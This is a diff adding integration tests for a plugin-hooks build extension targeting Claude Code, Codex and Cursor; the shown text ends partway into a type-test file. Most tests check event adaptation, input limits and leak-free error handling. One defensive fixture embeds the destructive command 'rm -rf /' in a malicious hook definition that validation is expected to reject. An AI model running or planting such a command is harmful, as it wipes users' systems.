+/** + * 在原生 Node ESM 子进程中运行公开 API,确保私有品牌只加载一个主包实例。 + * + * @param options 可 JSON 序列化的项目运行选项。 + * @returns 公开 API 产生的结构化 BuildResult。 + */ +async function runProject(options: RunProjectOptions): Promise { + /** 子进程直接导入真实主包构建产物并序列化结果的 ESM 源码。 */ + const source = ` +import { runProject } from ${JSON.stringify(acpluginEntry)}; +try { + const result = await runProject(${JSON.stringify(options)}); + process.stdout.write(JSON.stringify({ ok: true, result })); +} catch (error) { + process.stdout.write(JSON.stringify({ + ok: false, + name: error instanceof Error ? error.name : 'Error', + message: error instanceof Error ? error.message : 'Project execution failed.', + diagnostics: error && typeof error === 'object' && 'diagnostics' in error ? error.diagnostics : [], + })); +} +`; + /** Node 子进程的退出状态与文本输出。 */ + const execution = await new Promise((resolve, reject) => { + /** 不经过 Vitest 转换器的原生 ESM 子进程。 */ + const child = spawn(process.execPath, ['--input-type=module', '--eval', source], { + env: process.env, + stdio: ['ignore', 'pipe', 'pipe'], + }); + /** 子进程累计的 JSON 标准输出。 */ + let stdout = ''; + /** 子进程累计的框架错误输出。 */ + let stderr = ''; + child.stdout.setEncoding('utf8'); + child.stderr.setEncoding('utf8'); + child.stdout.on('data', (chunk: string) => { + stdout += chunk; + }); + child.stderr.on('data', (chunk: string) => { + stderr += chunk; + }); + child.on('error', reject); + child.on('close', code => resolve({ code, stdout, stderr })); + }); + if (execution.code !== 0) + throw new Error(`Project subprocess failed: ${execution.stderr}`); + /** 子进程返回的成功结果或安全异常摘要。 */ + const payload = JSON.parse(execution.stdout) as { + readonly ok: boolean; + readonly result?: BuildResult; + readonly name?: string; + readonly message?: string; + readonly diagnostics?: unknown; + }; + if (!payload.ok || payload.result === undefined) + throw new Error(`${payload.name ?? 'Error'}: ${payload.message ?? 'Project execution failed.'}`); + return payload.result; +} + +/** + * 在临时工程中创建可由 Jiti 和 Rolldown 共同解析的 Extension 包入口。 + * + * @param root 临时工程根目录。 + */ +async function writeExtensionProxy(root: string): Promise { + /** 临时 node_modules 中的 Hooks Extension 包目录。 */ + const packageRoot = path.join(root, 'node_modules/@tokenroll/acplugin-extension-hooks'); + await fs.mkdir(packageRoot, { recursive: true }); + await fs.writeFile(path.join(packageRoot, 'package.json'), JSON.stringify({ + name: '@tokenroll/acplugin-extension-hooks', + version: '1.0.0', + type: 'module', + exports: './index.mjs', + })); + await fs.writeFile( + path.join(packageRoot, 'index.mjs'), + `export * from ${JSON.stringify(extensionEntry)}; export { default } from ${JSON.stringify(extensionEntry)};\n`, + ); +} + +/** + * 写入一个实际参与 Bundle 和第三方许可收集的本地 npm 依赖。 + * + * @param root 临时工程根目录。 + */ +async function writeLicensedDependency(root: string): Promise { + /** 临时 node_modules 中的第三方测试包目录。 */ + const packageRoot = path.join(root, 'node_modules/fixture-dependency'); + await fs.mkdir(packageRoot, { recursive: true }); + await fs.writeFile(path.join(packageRoot, 'package.json'), JSON.stringify({ + name: 'fixture-dependency', + version: '2.3.4', + type: 'module', + exports: './index.js', + license: 'MIT', + })); + await fs.writeFile(path.join(packageRoot, 'index.js'), 'export function dependencyMessage() { return "licensed dependency"; }\n'); + await fs.writeFile(path.join(packageRoot, 'LICENSE'), 'Fixture dependency license.\n'); +} + +/** + * 创建带最小 Skill、配置和可选 Hooks 的真实临时工程。 + * + * @param options Hook、Platform 字段和第三方依赖选项。 + * @returns 已登记清理的工程绝对路径。 + */ +async function createProject(options: ProjectFixtureOptions = {}): Promise { + /** 当前测试独占的临时工程根目录。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-hooks-test-')); + temporaryRoots.push(root); + await writeExtensionProxy(root); + if (options.dependency === true) + await writeLicensedDependency(root); + await fs.mkdir(path.join(root, 'src/skills/hello'), { recursive: true }); + await fs.writeFile( + path.join(root, 'src/skills/hello/SKILL.md'), + '---\ndescription: Say hello.\n---\nSay hello to the user.\n', + ); + for (const hook of options.hooks ?? []) { + /** 当前 Hook 的规范一级目录。 */ + const directory = path.join(root, 'src/hooks', hook.id); + await fs.mkdir(directory, { recursive: true }); + await fs.writeFile( + path.join(directory, 'hook.ts'), + `import { defineHook } from '@tokenroll/acplugin-extension-hooks';\n${hook.imports ?? ''}\nexport default defineHook(${hook.definition});\n`, + ); + } + await fs.writeFile(path.join(root, 'acplugin.config.ts'), ` +import hooks from '@tokenroll/acplugin-extension-hooks'; +${options.configImports ?? ''} +export default { + name: 'hooks-fixture', + version: '1.0.0', + description: 'Hooks integration fixture.', + extensions: [hooks(${options.hooksOptions ?? ''})], + ${options.configFields ?? 'build: { strict: false },'} +}; +`); + return root; +} + +/** + * 执行最终 Bundle Handler,并完整收集测试所需的 stdout 和 stderr。 + * + * @param handler Handler Bundle 绝对路径。 + * @param platform Adapter 固定传入的 Platform ID。 + * @param input 写入 stdin 的原始字符串。 + * @param environment 可选的 Plugin Root 和 Plugin Data 环境变量。 + * @returns 子进程退出结果。 + */ +async function runHandler( + handler: string, + platform: string, + input: string, + environment: Readonly> = {}, +): Promise { + return new Promise((resolve, reject) => { + /** 使用当前 Node 执行实际安装产物的子进程。 */ + const child = spawn(process.execPath, [handler, platform], { + env: { ...process.env, ...environment }, + stdio: ['pipe', 'pipe', 'pipe'], + }); + /** 子进程累计的标准输出文本。 */ + let stdout = ''; + /** 子进程累计的标准错误文本。 */ + let stderr = ''; + child.stdout.setEncoding('utf8'); + child.stderr.setEncoding('utf8'); + child.stdout.on('data', (chunk: string) => { + stdout += chunk; + }); + child.stderr.on('data', (chunk: string) => { + stderr += chunk; + }); + child.on('error', reject); + child.on('close', code => resolve({ code, stdout, stderr })); + child.stdin.end(input); + }); +} + +/** + * 创建覆盖 11 个规范事件、输入规范化和安全输出边界的 Hook fixtures。 + * + * @returns 按事件声明顺序排列的作者资源。 + */ +function canonicalHooks(): readonly HookFixture[] { + return HOOK_EVENTS.map((event): HookFixture => { + if (event === 'PreToolUse') { + return { + id: 'pre-tool-use', + imports: `import { dependencyMessage } from 'fixture-dependency';`, + definition: `{ + event: 'PreToolUse', + matcher: 'Bash', + timeout: 5, + platforms: { codex: { additionalContextLimit: 1200 } }, + run(input, context) { + const toolInput = input.toolInput as { nestedValue: string }; + dependencyMessage(); + if (toolInput.nestedValue === 'invalid-json') + return { decision: 'allow', updatedInput: { nested: { secret: BigInt(1) } } }; + if (toolInput.nestedValue === 'context') + return { decision: 'deny', reason: [context.platform, context.pluginRoot, context.pluginData].join(':') }; + return { decision: 'deny', reason: context.platform + ':' + input.toolName + ':' + toolInput.nestedValue }; + }, + }`, + }; + } + if (event === 'SessionEnd') { + return { + id: 'session-end', + imports: `import { readFile } from 'node:fs';`, + definition: `{ + event: 'SessionEnd', + run(input) { + if (input.reason === 'oversized') return { systemMessage: 'x'.repeat(1024 * 1024) }; + if (input.reason.startsWith('log:')) process.stdout.write(input.reason.slice(4)); + if (input.reason.startsWith('throw:')) throw new Error(input.reason.slice(6)); + if (input.reason === 'delayed-log') setTimeout(() => process.stdout.write('DELAYED_SECRET'), 0); + if (input.reason === 'delayed-throw') setTimeout(() => { throw new Error('DELAYED_SECRET'); }, 0); + if (input.reason === 'delayed-rejection') setTimeout(() => Promise.reject(new Error('DELAYED_SECRET')), 0); + if (input.reason === 'multiple-async-failures') { + setTimeout(() => { throw new Error('FIRST_SECRET'); }, 0); + setTimeout(() => { throw new Error('SECOND_SECRET'); }, 5); + } + if (input.reason === 'late-before-exit') + process.once('beforeExit', () => { throw new Error('BEFORE_EXIT_SECRET'); }); + if (input.reason === 'late-before-exit-io') + process.once('beforeExit', () => { + readFile(new URL(import.meta.url), () => { throw new Error('BEFORE_EXIT_IO_SECRET'); }); + }); + }, + }`, + }; + } + if (event === 'Stop') { + return { + id: 'stop', + definition: `{ event: 'Stop', matcher: 'quality-gate', run() { return { decision: 'finish' }; } }`, + }; + } + if (event === 'PreCompact' || event === 'PostCompact') { + /** 两个压缩事件共同验证通用 continue/stop wire 语义。 */ + const id = event === 'PreCompact' ? 'pre-compact' : 'post-compact'; + return { + id, + definition: `{ event: ${JSON.stringify(event)}, run() { return { decision: 'stop', reason: 'Compact later.' }; } }`, + }; + } + /** 其他规范事件只需证明发现、Bundle、Adapter 和兼容性闭环。 */ + const id = event.replace(/([a-z])([A-Z])/g, '$1-$2').toLowerCase(); + return { id, definition: `{ event: ${JSON.stringify(event)}, run() {} }` }; + }); +} + +afterEach(async () => { + await Promise.all(temporaryRoots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('Hooks Extension', () => { + it('filters discovered resources with include and rejects invalid factory options', async () => { + /** 只选择 keep、忽略 skip 的真实作者工程。 */ + const root = await createProject({ + hooks: [ + { id: 'keep', definition: `{ event: 'SessionStart', run() {} }` }, + { id: 'skip', definition: `{ event: 'Stop', run() {} }` }, + ], + hooksOptions: `{ include: ['keep'] }`, + }); + /** include 筛选后的双 Platform 构建结果。 */ + const result = await runProject({ cwd: root, command: 'build', mode: 'production' }); + + expect(result.success).toBe(true); + expect((await fs.readdir(path.join(root, 'dist/claude-code/plugin/hooks'))).sort()).toEqual(['hooks.json', 'keep']); + await expect(fs.access(path.join(root, 'dist/codex/plugin/hooks/skip/handler.mjs'))).rejects.toThrow(); + expect(() => hooks({ include: ['valid', 'valid'] })).toThrow('duplicate ID'); + expect(() => hooks({ include: ['Not-Kebab'] })).toThrow('lowercase kebab-case'); + expect(() => hooks({ unknown: true } as never)).toThrow('Unknown Hooks option'); + }); + + it('reports missing includes and platform-specific SessionEnd timeout limits', async () => { + /** 同时覆盖缺失 include 和 Codex 三秒上限的工程。 */ + const missingRoot = await createProject({ + hooks: [{ id: 'session-end', definition: `{ event: 'SessionEnd', timeout: 4, platforms: { 'claude-code': { timeout: 60 } }, run() {} }` }], + hooksOptions: `{ include: ['session-end', 'missing'] }`, + }); + /** discover 与 validate 阶段应分别提交目标明确的诊断。 */ + const missing = await runProject({ cwd: missingRoot, command: 'validate', mode: 'production' }); + expect(missing.success).toBe(false); + expect(missing.diagnostics).toContainEqual(expect.objectContaining({ code: 'HOOK_INCLUDE_MISSING' })); + expect(missing.diagnostics).toContainEqual(expect.objectContaining({ code: 'HOOK_TIMEOUT_PLATFORM_LIMIT' })); + + /** Codex 使用三秒,而 Claude Code 单独超过六十秒上限的工程。 */ + const claudeRoot = await createProject({ + hooks: [{ id: 'session-end', definition: `{ event: 'SessionEnd', timeout: 3, platforms: { 'claude-code': { timeout: 61 } }, run() {} }` }], + }); + /** Claude Code 上限必须独立于 Codex 默认值验证。 */ + const claude = await runProject({ cwd: claudeRoot, command: 'validate', mode: 'production' }); + expect(claude.success).toBe(false); + expect(claude.diagnostics).toContainEqual(expect.objectContaining({ code: 'HOOK_TIMEOUT_PLATFORM_LIMIT' })); + }); + + it('builds all canonical events once and adapts them to Claude Code and Codex', async () => { + /** 覆盖完整事件矩阵和本地第三方依赖的真实工程。 */ + const root = await createProject({ hooks: canonicalHooks(), dependency: true }); + /** 完整提交双 Platform 产物的构建结果。 */ + const result = await runProject({ cwd: root, command: 'build', mode: 'production' }); + + expect(result.success).toBe(true); + /** event 表示当前规范事件,用于验证两个 Adapter 都报告原生触发能力。 */ + for (const event of HOOK_EVENTS) { + expect(result.compatibility).toContainEqual(expect.objectContaining({ + platform: 'claude-code', + capability: `event.${event}`, + level: 'native', + })); + expect(result.compatibility).toContainEqual(expect.objectContaining({ + platform: 'codex', + capability: `event.${event}`, + level: 'native', + })); + } + expect(result.compatibility).toContainEqual(expect.objectContaining({ + platform: 'codex', + subject: 'hook:stop', + capability: 'matcher', + level: 'degraded', + })); + + /** Claude Code 最终 Plugin Manifest。 */ + const claudeManifest = JSON.parse(await fs.readFile( + path.join(root, 'dist/claude-code/plugin/.claude-plugin/plugin.json'), + 'utf8', + )) as Record; + /** Codex 最终 Plugin Manifest。 */ + const codexManifest = JSON.parse(await fs.readFile( + path.join(root, 'dist/codex/plugin/.codex-plugin/plugin.json'), + 'utf8', + )) as Record; + expect(claudeManifest.hooks).toBe('./hooks/hooks.json'); + expect(codexManifest.hooks).toBe('./hooks/hooks.json'); + + /** Claude Code Adapter 生成的 Hook 配置。 */ + const claudeHooks = JSON.parse(await fs.readFile( + path.join(root, 'dist/claude-code/plugin/hooks/hooks.json'), + 'utf8', + )) as { hooks: Record[] }[]> }; + /** Codex Adapter 生成的 Hook 配置。 */ + const codexHooks = JSON.parse(await fs.readFile( + path.join(root, 'dist/codex/plugin/hooks/hooks.json'), + 'utf8', + )) as { hooks: Record[] }[]> }; + expect(Object.keys(claudeHooks.hooks).sort()).toEqual([...HOOK_EVENTS].sort()); + expect(Object.keys(codexHooks.hooks).sort()).toEqual([...HOOK_EVENTS].sort()); + expect(claudeHooks.hooks.PreToolUse![0]!.hooks[0]).toMatchObject({ + type: 'command', + command: 'node', + args: ['${CLAUDE_PLUGIN_ROOT}/hooks/pre-tool-use/handler.mjs', 'claude-code'], + timeout: 5, + }); + expect(codexHooks.hooks.PreToolUse![0]!.hooks[0]).toMatchObject({ + type: 'command', + command: 'node "${PLUGIN_ROOT}/hooks/pre-tool-use/handler.mjs" codex', + timeout: 5, + additionalContextLimit: 1200, + }); + expect(codexHooks.hooks.PreToolUse![0]!.hooks[0]).not.toHaveProperty('args'); + + /** 两个平台复用同一平台中立 Handler 的 Claude Code 文件。 */ + const claudeHandler = path.join(root, 'dist/claude-code/plugin/hooks/pre-tool-use/handler.mjs'); + /** 两个平台复用同一平台中立 Handler 的 Codex 文件。 */ + const codexHandler = path.join(root, 'dist/codex/plugin/hooks/pre-tool-use/handler.mjs'); + expect(await fs.readFile(claudeHandler)).toEqual(await fs.readFile(codexHandler)); + /** Claude Code Adapter 独立贡献的原生协议 profile。 */ + const claudeWire = await fs.readFile(path.join(root, 'dist/claude-code/plugin/hooks/pre-tool-use/wire.mjs'), 'utf8'); + /** Codex Adapter 独立贡献的原生协议 profile。 */ + const codexWire = await fs.readFile(path.join(root, 'dist/codex/plugin/hooks/pre-tool-use/wire.mjs'), 'utf8'); + expect(claudeWire).toContain('export const platform = "claude-code"'); + expect(codexWire).toContain('export const platform = "codex"'); + expect(claudeWire).not.toBe(codexWire); + expect(await fs.readFile( + path.join(root, 'dist/claude-code/plugin/hooks/pre-tool-use/THIRD_PARTY_LICENSES.txt'), + 'utf8', + )).toContain('fixture-dependency@2.3.4'); + }); + + it('normalizes input, maps results, bounds I/O, and never exposes handler failures', async () => { + /** 复用完整事件 fixture 取得真实构建后的 Handler。 */ + const root = await createProject({ hooks: canonicalHooks(), dependency: true }); + /** 生成两个默认 Platform Handler 的构建结果。 */ + const build = await runProject({ cwd: root, command: 'build', mode: 'production' }); + expect(build.success).toBe(true); + /** 用于验证 camelCase 和 PreToolUse deny 映射的 Handler。 */ + const preToolHandler = path.join(root, 'dist/claude-code/plugin/hooks/pre-tool-use/handler.mjs'); + /** 平台发送给 Handler 的规范 snake_case 输入。 */ + const preToolInput = JSON.stringify({ + session_id: 'session-1', + transcript_path: null, + cwd: root, + hook_event_name: 'PreToolUse', + tool_name: 'Bash', + tool_input: { nested_value: 'normalized' }, + tool_use_id: 'tool-1', + }); + /** Claude Code 参数下的真实 Runner 输出。 */ + const claude = await runHandler(preToolHandler, 'claude-code', preToolInput, { + CLAUDE_PLUGIN_ROOT: '/plugin-root', + CLAUDE_PLUGIN_DATA: '/plugin-data', + }); + expect(claude.code).toBe(0); + expect(JSON.parse(claude.stdout)).toEqual({ + hookSpecificOutput: { + hookEventName: 'PreToolUse', + permissionDecision: 'deny', + permissionDecisionReason: 'claude-code:Bash:normalized', + }, + }); + expect(claude.stderr).toBe(''); + + /** 两个 wire profile 必须各自解析平台原生的 Plugin 根和数据目录。 */ + const contextInput = JSON.stringify({ + session_id: 'session-1', + cwd: root, + hook_event_name: 'PreToolUse', + tool_name: 'Bash', + tool_input: { nested_value: 'context' }, + tool_use_id: 'tool-2', + }); + /** Claude Code wire 的运行时上下文结果。 */ + const claudeContext = await runHandler(preToolHandler, 'claude-code', contextInput, { + CLAUDE_PLUGIN_ROOT: '/claude-root', + CLAUDE_PLUGIN_DATA: '/claude-data', + }); + /** Codex wire 的运行时上下文结果。 */ + const codexContext = await runHandler( + path.join(root, 'dist/codex/plugin/hooks/pre-tool-use/handler.mjs'), + 'codex', + contextInput, + { PLUGIN_ROOT: '/codex-root', PLUGIN_DATA: '/codex-data' }, + ); + expect(JSON.parse(claudeContext.stdout).hookSpecificOutput.permissionDecisionReason) + .toBe('claude-code:/claude-root:/claude-data'); + expect(JSON.parse(codexContext.stdout).hookSpecificOutput.permissionDecisionReason) + .toBe('codex:/codex-root:/codex-data'); + + /** SessionEnd Handler 用于触发三种安全失败边界。 */ + const sessionEndHandler = path.join(root, 'dist/claude-code/plugin/hooks/session-end/handler.mjs'); + /** Codex 目录中与 Codex wire profile 相邻的 SessionEnd Handler。 */ + const codexSessionEndHandler = path.join(root, 'dist/codex/plugin/hooks/session-end/handler.mjs'); + /** 生成 SessionEnd 输入的局部辅助函数。 */ + const sessionEndInput = (reason: string): string => JSON.stringify({ + session_id: 'session-1', + transcript_path: null, + cwd: root, + hook_event_name: 'SessionEnd', + reason, + }); + /** 超出一 MiB 的规范结果必须被 Runner 阻止。 */ + const oversized = await runHandler(sessionEndHandler, 'claude-code', sessionEndInput('oversized')); + expect(oversized).toEqual({ + code: 1, + stdout: '', + stderr: 'acplugin hook error: OUTPUT_TOO_LARGE\n', + }); + /** 用户实现直接写 stdout 时不得绕过规范结果协议或泄露内容。 */ + const logged = await runHandler(sessionEndHandler, 'claude-code', sessionEndInput('log:TOP_SECRET')); + expect(logged).toEqual({ + code: 1, + stdout: '', + stderr: 'acplugin hook error: HANDLER_OUTPUT_FORBIDDEN\n', + }); + expect(logged.stderr).not.toContain('TOP_SECRET'); + /** 用户异常消息只能收敛为稳定安全代码。 */ + const thrown = await runHandler(codexSessionEndHandler, 'codex', sessionEndInput('throw:TOP_SECRET')); + expect(thrown).toEqual({ + code: 1, + stdout: '', + stderr: 'acplugin hook error: HANDLER_FAILED\n', + }); + /** 超过输入上限时在 JSON 解析前返回固定错误。 */ + const tooLarge = await runHandler(codexSessionEndHandler, 'codex', `{"value":"${'x'.repeat(1024 * 1024)}"}`); + expect(tooLarge).toEqual({ + code: 1, + stdout: '', + stderr: 'acplugin hook error: INPUT_TOO_LARGE\n', + }); + /** Codex 目录中与 Codex wire profile 相邻的 PreToolUse Handler。 */ + const codexPreToolHandler = path.join(root, 'dist/codex/plugin/hooks/pre-tool-use/handler.mjs'); + /** 同一对象中的 snake_case/camelCase 字段碰撞不得静默覆盖。 */ + const collision = await runHandler(codexPreToolHandler, 'codex', JSON.stringify({ + session_id: 'session-1', + cwd: root, + hook_event_name: 'PreToolUse', + tool_name: 'Bash', + tool_input: { nested_value: 'first', nestedValue: 'second' }, + tool_use_id: 'tool-1', + })); + expect(collision).toEqual({ + code: 1, + stdout: '', + stderr: 'acplugin hook error: INPUT_KEY_COLLISION\n', + }); + /** 构造超过递归规范化上限、但仍远小于字节上限的输入字段。 */ + let nestedInput: unknown = 'leaf'; + /** depth 表示当前追加的对象嵌套层数。 */ + for (let depth = 0; depth < 130; depth += 1) + nestedInput = { value: nestedInput }; + /** 过深输入必须使用稳定错误码终止,不能触发运行时栈错误。 */ + const tooDeep = await runHandler(codexPreToolHandler, 'codex', JSON.stringify({ + session_id: 'session-1', + cwd: root, + hook_event_name: 'PreToolUse', + tool_name: 'Bash', + tool_input: nestedInput, + tool_use_id: 'tool-1', + })); + expect(tooDeep).toEqual({ + code: 1, + stdout: '', + stderr: 'acplugin hook error: INPUT_TOO_DEEP\n', + }); + + /** updatedInput 的嵌套 BigInt 不是 JSON 值,必须在 wire 序列化前拒绝。 */ + const invalidUpdatedInput = await runHandler(codexPreToolHandler, 'codex', JSON.stringify({ + session_id: 'session-1', + cwd: root, + hook_event_name: 'PreToolUse', + tool_name: 'Bash', + tool_input: { nested_value: 'invalid-json' }, + tool_use_id: 'tool-1', + })); + expect(invalidUpdatedInput).toEqual({ + code: 1, + stdout: '', + stderr: 'acplugin hook error: RESULT_UPDATED_INPUT_INVALID\n', + }); + + /** 未等待任务中的输出仍在进程退出前被拦截,且不会泄露原文。 */ + const delayedLog = await runHandler(sessionEndHandler, 'claude-code', sessionEndInput('delayed-log')); + expect(delayedLog).toEqual({ + code: 1, + stdout: '', + stderr: 'acplugin hook error: HANDLER_OUTPUT_FORBIDDEN\n', + }); + expect(delayedLog.stderr).not.toContain('DELAYED_SECRET'); + /** 未等待 timer 抛错和拒绝统一收敛为异步失败码。 */ + for (const reason of ['delayed-throw', 'delayed-rejection']) { + /** 当前异步失败形式的隔离执行结果。 */ + const delayedFailure = await runHandler(sessionEndHandler, 'claude-code', sessionEndInput(reason)); + expect(delayedFailure).toEqual({ + code: 1, + stdout: '', + stderr: 'acplugin hook error: HANDLER_ASYNC_FAILED\n', + }); + expect(delayedFailure.stderr).not.toContain('DELAYED_SECRET'); + } + /** 多个未等待异常以及 beforeExit 启动的同步或 I/O 异常都必须保持在安全监听边界内。 */ + for (const reason of ['multiple-async-failures', 'late-before-exit', 'late-before-exit-io']) { + /** 当前复杂异步失败形式的隔离执行结果。 */ + const complexFailure = await runHandler(sessionEndHandler, 'claude-code', sessionEndInput(reason)); + expect(complexFailure).toEqual({ + code: 1, + stdout: '', + stderr: 'acplugin hook error: HANDLER_ASYNC_FAILED\n', + }); + expect(complexFailure.stderr).not.toMatch(/FIRST_SECRET|SECOND_SECRET|BEFORE_EXIT_(?:IO_)?SECRET/u); + } + + /** 两个压缩事件都必须通过各自 Platform 的完整 Handler/wire 组合。 */ + for (const [event, id] of [['PreCompact', 'pre-compact'], ['PostCompact', 'post-compact']] as const) { + /** 当前压缩事件的原生输入。 */ + const compactInput = JSON.stringify({ + session_id: 'session-1', + transcript_path: null, + cwd: root, + hook_event_name: event, + trigger: 'manual', + }); + /** Claude Code 目录中的完整运行结果。 */ + const claudeCompact = await runHandler( + path.join(root, `dist/claude-code/plugin/hooks/${id}/handler.mjs`), + 'claude-code', + compactInput, + ); + /** Codex 目录中的完整运行结果。 */ + const codexCompact = await runHandler( + path.join(root, `dist/codex/plugin/hooks/${id}/handler.mjs`), + 'codex', + compactInput, + ); + expect(JSON.parse(claudeCompact.stdout)).toEqual(event === 'PreCompact' + ? { decision: 'block', reason: 'Compact later.' } + : { continue: false, stopReason: 'Compact later.' }); + expect(JSON.parse(codexCompact.stdout)).toEqual({ continue: false, stopReason: 'Compact later.' }); + } + }); + + it('rejects raw platform handler declarations and invalid adapter fields before bundling', async () => { + /** 同时尝试六类禁止入口和一个未知平台字段的恶意作者工程。 */ + const root = await createProject({ + hooks: [{ + id: 'unsafe', + definition: `{ + event: 'PreToolUse', + type: 'http', + command: 'rm -rf /', + executable: '/usr/bin/node', + url: 'https://example.com/hook', + prompt: 'approve', + agent: 'reviewer', + server: 'mcp-server', + tool: 'check', + platforms: { codex: { command: 'node unsafe.js' } }, + run() {}, + }`, + }], + }); + /** validate 在 Extension build 前收集的结构化失败结果。 */ + const result = await runProject({ cwd: root, command: 'validate', mode: 'production' }); + + expect(result.success).toBe(false); + expect(result.deliveryUnits).toEqual([]); + expect(result.diagnostics.filter(diagnostic => diagnostic.code === 'HOOK_FIELD_UNKNOWN')).toHaveLength(8); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ + code: 'HOOK_PLATFORM_FIELD_UNKNOWN', + })); + }); + + it('routes platform-only events exclusively to their declared configured Adapter', async () => { + /** Claude Code Setup 平台事件仍同时配置默认双 Platform 的工程。 */ + const root = await createProject({ + hooks: [{ + id: 'setup', + definition: `{ event: { platform: 'claude-code', name: 'Setup' }, matcher: 'init', run() {} }`, + }], + }); + /** 平台事件成功构建后的兼容性和 Artifact 结果。 */ + const result = await runProject({ cwd: root, command: 'build', mode: 'production' }); + + expect(result.success).toBe(true); + expect(result.compatibility).toContainEqual(expect.objectContaining({ + platform: 'claude-code', + subject: 'hook:setup', + capability: 'event.Setup', + level: 'native', + })); + expect(result.compatibility).not.toContainEqual(expect.objectContaining({ + platform: 'codex', + subject: 'hook:setup', + })); + await expect(fs.access(path.join(root, 'dist/codex/plugin/hooks/hooks.json'))).rejects.toThrow(); + /** Codex Manifest 不应因其他平台事件获得空 hooks 字段。 */ + const codexManifest = JSON.parse(await fs.readFile( + path.join(root, 'dist/codex/plugin/.codex-plugin/plugin.json'), + 'utf8', + )) as Record; + expect(codexManifest).not.toHaveProperty('hooks'); + }); + + it('keeps an empty Extension artifact-free and uses the Cursor Adapter when selected', async () => { + /** 没有 `src/hooks` 的空 Extension 工程。 */ + const emptyRoot = await createProject(); + /** 空 Extension 的成功构建结果。 */ + const empty = await runProject({ cwd: emptyRoot, command: 'build', mode: 'production' }); + expect(empty.success).toBe(true); + expect(empty.deliveryUnits + .flatMap(unit => unit.artifacts) + .some(artifact => artifact.path.startsWith('hooks/'))).toBe(false); + + /** 只配置 Cursor、且拥有实际 Hook 资源的工程。 */ + const cursorRoot = await createProject({ + hooks: [{ id: 'stop', definition: `{ event: 'Stop', run() {} }` }], + configImports: `import { cursor } from ${JSON.stringify(acpluginEntry)};`, + configFields: 'platforms: [cursor({ strict: false })], build: { strict: false },', + }); + /** relaxed 模式使用 Cursor 事件映射并保留 transform 结论。 */ + const cursorResult = await runProject({ cwd: cursorRoot, command: 'validate', mode: 'production' }); + expect(cursorResult.success).toBe(true); + expect(cursorResult.compatibility).toContainEqual(expect.objectContaining({ + platform: 'cursor', + subject: 'hook:stop', + level: 'transform', + })); + }); + + it('applies strictness only when an actual Codex matcher loses semantics', async () => { + /** Stop 使用有语义 matcher 的严格构建工程。 */ + const root = await createProject({ + hooks: [{ id: 'stop', definition: `{ event: 'Stop', matcher: 'quality-gate', run() {} }` }], + configFields: 'build: { strict: true },', + }); + /** strict 模式因当前 Hook 的 Codex matcher 损失而失败。 */ + const strict = await runProject({ cwd: root, command: 'validate', mode: 'production' }); + expect(strict.success).toBe(false); + expect(strict.diagnostics).toContainEqual(expect.objectContaining({ + code: 'COMPATIBILITY_STRICT', + platform: 'codex', + })); + /** 运行时覆盖 relaxed 后保留 degraded 结论并成功。 */ + const relaxed = await runProject({ + cwd: root, + command: 'validate', + mode: 'production', + strict: false, + }); + expect(relaxed.success).toBe(true); + expect(relaxed.compatibility).toContainEqual(expect.objectContaining({ + platform: 'codex', + subject: 'hook:stop', + capability: 'matcher', + level: 'degraded', + })); + }); + + it('reports Claude Code events that silently ignore meaningful matchers', async () => { + /** 只配置 Claude Code,避免其他 Platform 的兼容性结论干扰断言。 */ + const root = await createProject({ + hooks: [{ id: 'stop', definition: `{ event: 'Stop', matcher: 'quality-gate', run() {} }` }], + configImports: `import { claudeCode } from ${JSON.stringify(acpluginEntry)};`, + configFields: 'platforms: [claudeCode()], build: { strict: true },', + }); + /** meaningful matcher 被宿主静默忽略,因此严格模式必须失败。 */ + const strict = await runProject({ cwd: root, command: 'validate', mode: 'production' }); + expect(strict.success).toBe(false); + expect(strict.diagnostics).toContainEqual(expect.objectContaining({ + code: 'COMPATIBILITY_STRICT', + platform: 'claude-code', + })); + /** relaxed 模式保留精确 degraded 报告,并允许用户显式接受损失。 */ + const relaxed = await runProject({ + cwd: root, + command: 'validate', + mode: 'production', + strict: false, + }); + expect(relaxed.success).toBe(true); + expect(relaxed.compatibility).toContainEqual(expect.objectContaining({ + platform: 'claude-code', + subject: 'hook:stop', + capability: 'matcher', + level: 'degraded', + })); + }); + + it('rejects unconfigured and unknown platform-only events with targeted diagnostics', async () => { + /** 只配置 Codex 却声明 Claude Code Setup 的工程。 */ + const unconfiguredRoot = await createProject({ + hooks: [{ + id: 'setup', + definition: `{ event: { platform: 'claude-code', name: 'Setup' }, run() {} }`, + }], + configImports: `import { codex } from ${JSON.stringify(acpluginEntry)};`, + configFields: 'platforms: [codex({ strict: false })], build: { strict: false },', + }); + /** Platform 缺失应在 Bundle 前失败。 */ + const unconfigured = await runProject({ cwd: unconfiguredRoot, command: 'validate', mode: 'production' }); + expect(unconfigured.diagnostics).toContainEqual(expect.objectContaining({ code: 'HOOK_PLATFORM_NOT_CONFIGURED' })); + + /** 默认包含 Claude Code、但事件名不属于其官方 Schema 的工程。 */ + const unknownRoot = await createProject({ + hooks: [{ + id: 'unknown-event', + definition: `{ event: { platform: 'claude-code', name: 'ImaginaryEvent' }, run() {} }`, + }], + }); + /** Adapter 未知事件应给出独立诊断码。 */ + const unknown = await runProject({ cwd: unknownRoot, command: 'validate', mode: 'production' }); + expect(unknown.diagnostics).toContainEqual(expect.objectContaining({ code: 'HOOK_PLATFORM_EVENT_UNSUPPORTED' })); + }); +}); diff --git a/packages/extensions/hooks/test/hooks.types.ts b/packages/extensions/hooks/test/hooks.types.ts new file mode 100644 index 0000000..47a9b52 --- /dev/null +++ b/packages/extensions/hooks/test/hooks.types.ts @@ -0,0 +1,58 @@ +import { defineHook, type HookDefinition } from '../src/index.js'; + +/** PreToolUse 定义用于验证事件级输入和结果推断。 */ +const preToolUse = defineHook({ + event: 'PreToolUse', + /** 类型检查同时确认运行时上下文使用最终 platform 术语。 */ + run(input, context) { + /** 从精确事件输入读取的工具名称。 */ + const toolName: string = input.toolName; + /** 从运行时上下文读取的开放 Platform ID。 */ + const platform: string = context.platform; + return { + decision: 'allow', + reason: `${platform}:${toolName}`, + updatedInput: { command: 'pnpm test' }, + }; + }, +}); + +/** 品牌化定义仍可赋给公开 HookDefinition 契约。 */ +const branded: HookDefinition<'PreToolUse'> = preToolUse; +void branded; + +/** Claude Code 专属事件必须使用显式 Platform 对象。 */ +defineHook({ + event: { platform: 'claude-code', name: 'Setup' }, + /** 平台事件仍获得共享运行时上下文和扩展输入。 */ + run(input) { + /** 